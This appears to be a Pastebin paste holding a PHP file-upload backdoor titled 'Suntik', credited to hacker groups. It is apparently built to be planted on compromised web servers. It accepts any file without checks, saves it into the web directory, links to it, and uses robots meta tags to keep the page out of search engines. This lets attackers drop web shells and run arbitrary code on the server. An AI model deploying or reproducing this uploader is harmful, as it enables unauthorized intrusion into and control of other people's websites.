Advertisement
Pisher

Upload

Nov 6th, 2015
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.91 KB | None | 0 0
  1.  
  2. <?php
  3. if($_POST['upload']=="upload"){
  4. $nama_file = $_FILES['file']['tmp_name'];
  5. $folder = "./";
  6. $file_upload = $_FILES['file']['name'];
  7. $spasi = explode(" ",$file_upload);
  8. $hspasi = implode("_",$spasi);
  9. $huruf_kecil = strtolower($hspasi);
  10. if(is_uploaded_file($nama_file))
  11. {
  12. move_uploaded_file($nama_file,$folder.$huruf_kecil);
  13. echo"sukses<br/>";
  14. echo"Open File <a target='_blank' href='http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]".$_FILES['file']['name']."'>http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]".$_FILES['file']['name']."</a>";
  15. }
  16. else{echo"gagal";}
  17. }else{
  18.     ?>
  19.     <title>Suntik</title>
  20. <script>function tb8_makeArray(n){this.length = n;return this.length;}tb8_messages = new tb8_makeArray(3);
  21. tb8_messages[0] = "Uploader By : Pisher_Black";
  22. tb8_messages[1] = "Break Security Hackers Guatemala";
  23. tb8_messages[2] = "The Joker Team Hackers";
  24. tb8_rptType = 'infinite';
  25. tb8_rptNbr = 5;
  26. tb8_speed = 125;
  27. tb8_delay = 1000;
  28. var tb8_counter=1;
  29. var tb8_currMsg=0;
  30. var tb8_tekst ="";
  31. var tb8_i=0;
  32. var tb8_TID = null;
  33. function tb8_pisi(){
  34. tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1);
  35. document.title = tb8_tekst;
  36. tb8_sp=tb8_speed;
  37. tb8_i++;
  38. if (tb8_i==tb8_messages[tb8_currMsg].length){
  39. tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay;
  40. }
  41. if (tb8_currMsg == tb8_messages.length){
  42. if ((tb8_rptType == 'finite') && (tb8_counter==tb8_rptNbr)){
  43. clearTimeout(tb8_TID);
  44. return;
  45. }
  46. tb8_counter++;
  47. tb8_currMsg = 0;
  48. }
  49. tb8_TID = setTimeout("tb8_pisi()", tb8_sp);
  50. }
  51. tb8_pisi()
  52. </script>
  53.     <meta name="googlebot" content="nosnippet" />
  54.     <meta name="googlebot" content="noindex" />  
  55.     <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />    
  56.     <meta name="googlebot" content="noarchive" />  
  57.     <form method="post" enctype="multipart/form-data">
  58.     <input type="file" name="file"/><input type="submit" name="upload" value="upload" />
  59.     </form>
  60. <?php }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement